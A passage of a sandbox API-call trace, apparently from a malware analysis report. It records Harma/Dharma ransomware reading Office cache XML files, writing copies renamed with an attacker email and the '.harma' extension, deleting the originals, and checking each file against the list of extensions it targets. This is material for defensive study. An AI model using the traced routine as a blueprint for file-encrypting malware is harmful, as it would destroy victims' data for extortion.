lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.882] WriteFile (in: hFile=0x17c, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.882] SetEndOfFile (hFile=0x17c) returned 1 [0039.883] CloseHandle (hObject=0x17c) returned 1 [0039.884] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.884] SetEndOfFile (hFile=0x178) returned 1 [0039.885] CloseHandle (hObject=0x178) returned 1 [0039.885] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.885] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.885] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.885] lstrlenW (lpString=".doc") returned 4 [0039.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString=".docx") returned 5 [0039.886] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.886] lstrlenW (lpString=".pdf") returned 4 [0039.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString=".xls") returned 4 [0039.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString=".xlsx") returned 5 [0039.886] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.886] lstrlenW (lpString=".ppt") returned 4 [0039.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.886] lstrlenW (lpString=".zip") returned 4 [0039.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.886] lstrlenW (lpString=".rar") returned 4 [0039.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString=".bz2") returned 4 [0039.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString=".7z") returned 3 [0039.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.886] lstrlenW (lpString=".dbf") returned 4 [0039.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.886] lstrlenW (lpString=".1cd") returned 4 [0039.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.886] lstrlenW (lpString=".jpg") returned 4 [0039.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.886] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.887] lstrlenW (lpString=".doc") returned 4 [0039.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".docx") returned 5 [0039.887] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.887] lstrlenW (lpString=".pdf") returned 4 [0039.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".xls") returned 4 [0039.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".xlsx") returned 5 [0039.887] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.887] lstrlenW (lpString=".ppt") returned 4 [0039.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.887] lstrlenW (lpString=".zip") returned 4 [0039.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.887] lstrlenW (lpString=".rar") returned 4 [0039.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".bz2") returned 4 [0039.887] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString=".7z") returned 3 [0039.887] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.887] lstrlenW (lpString=".dbf") returned 4 [0039.887] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.887] lstrlenW (lpString=".1cd") returned 4 [0039.887] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.887] lstrlenW (lpString=".jpg") returned 4 [0039.887] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.888] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.888] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0039.888] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.105] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1450) returned 1 [0040.106] CloseHandle (hObject=0x180) returned 1 [0040.106] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0040.106] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.106] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.106] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.106] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.106] GetLastError () returned 0x0 [0040.106] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0040.135] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0040.135] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.136] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0040.136] SetEndOfFile (hFile=0x160) returned 1 [0040.136] CloseHandle (hObject=0x160) returned 1 [0040.137] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.137] SetEndOfFile (hFile=0x180) returned 1 [0040.137] CloseHandle (hObject=0x180) returned 1 [0040.137] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.138] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0040.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.138] lstrlenW (lpString=".doc") returned 4 [0040.138] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.138] lstrlenW (lpString=".docx") returned 5 [0040.138] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.138] lstrlenW (lpString=".pdf") returned 4 [0040.138] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.138] lstrlenW (lpString=".xls") returned 4 [0040.138] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.138] lstrlenW (lpString=".xlsx") returned 5 [0040.138] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.138] lstrlenW (lpString=".ppt") returned 4 [0040.138] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.138] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.138] lstrlenW (lpString=".zip") returned 4 [0040.138] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.138] lstrlenW (lpString=".rar") returned 4 [0040.138] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.138] lstrlenW (lpString=".bz2") returned 4 [0040.139] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString=".7z") returned 3 [0040.139] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString=".dbf") returned 4 [0040.139] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString=".1cd") returned 4 [0040.139] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString=".jpg") returned 4 [0040.139] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString=".doc") returned 4 [0040.139] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString=".docx") returned 5 [0040.139] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.139] lstrlenW (lpString=".pdf") returned 4 [0040.139] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString=".xls") returned 4 [0040.139] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString=".xlsx") returned 5 [0040.139] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.139] lstrlenW (lpString=".ppt") returned 4 [0040.139] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.139] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.139] lstrlenW (lpString=".zip") returned 4 [0040.139] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.139] lstrlenW (lpString=".rar") returned 4 [0040.140] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.140] lstrlenW (lpString=".bz2") returned 4 [0040.140] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.140] lstrlenW (lpString=".7z") returned 3 [0040.140] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.140] lstrlenW (lpString=".dbf") returned 4 [0040.140] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.140] lstrlenW (lpString=".1cd") returned 4 [0040.140] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.140] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0040.140] lstrlenW (lpString=".jpg") returned 4 [0040.140] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.140] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.140] lstrlenW (lpString="Proofing.xml") returned 12 [0040.140] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.140] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=811) returned 1 [0040.140] CloseHandle (hObject=0x180) returned 1 [0040.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0040.141] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.141] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.141] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.141] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.141] GetLastError () returned 0x0 [0040.141] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x32b, lpOverlapped=0x0) returned 1 [0040.143] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x330, lpOverlapped=0x0) returned 1 [0040.144] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.144] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.144] SetEndOfFile (hFile=0x160) returned 1 [0040.144] CloseHandle (hObject=0x160) returned 1 [0040.145] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.145] SetEndOfFile (hFile=0x180) returned 1 [0040.146] CloseHandle (hObject=0x180) returned 1 [0040.146] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.146] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0040.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.146] lstrlenW (lpString=".doc") returned 4 [0040.146] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.146] lstrlenW (lpString=".docx") returned 5 [0040.146] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.146] lstrlenW (lpString=".pdf") returned 4 [0040.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.146] lstrlenW (lpString=".xls") returned 4 [0040.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString=".xlsx") returned 5 [0040.147] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.147] lstrlenW (lpString=".ppt") returned 4 [0040.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString=".zip") returned 4 [0040.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.147] lstrlenW (lpString=".rar") returned 4 [0040.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString=".bz2") returned 4 [0040.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString=".7z") returned 3 [0040.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString=".dbf") returned 4 [0040.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString=".1cd") returned 4 [0040.147] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString=".jpg") returned 4 [0040.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.147] lstrlenW (lpString=".doc") returned 4 [0040.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.147] lstrlenW (lpString=".docx") returned 5 [0040.147] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.147] lstrlenW (lpString=".pdf") returned 4 [0040.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString=".xls") returned 4 [0040.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString=".xlsx") returned 5 [0040.148] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.148] lstrlenW (lpString=".ppt") returned 4 [0040.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.148] lstrlenW (lpString=".zip") returned 4 [0040.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.148] lstrlenW (lpString=".rar") returned 4 [0040.148] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString=".bz2") returned 4 [0040.148] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString=".7z") returned 3 [0040.148] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.148] lstrlenW (lpString=".dbf") returned 4 [0040.148] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.148] lstrlenW (lpString=".1cd") returned 4 [0040.148] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.148] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0040.148] lstrlenW (lpString=".jpg") returned 4 [0040.148] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.148] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.149] lstrlenW (lpString="Setup.xml") returned 9 [0040.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.149] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5884) returned 1 [0040.149] CloseHandle (hObject=0x180) returned 1 [0040.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.149] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.149] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.149] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.149] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.150] GetLastError () returned 0x0 [0040.150] ReadFile (in: hFile=0x180, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x16fc, lpOverlapped=0x0) returned 1 [0040.153] WriteFile (in: hFile=0x160, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, 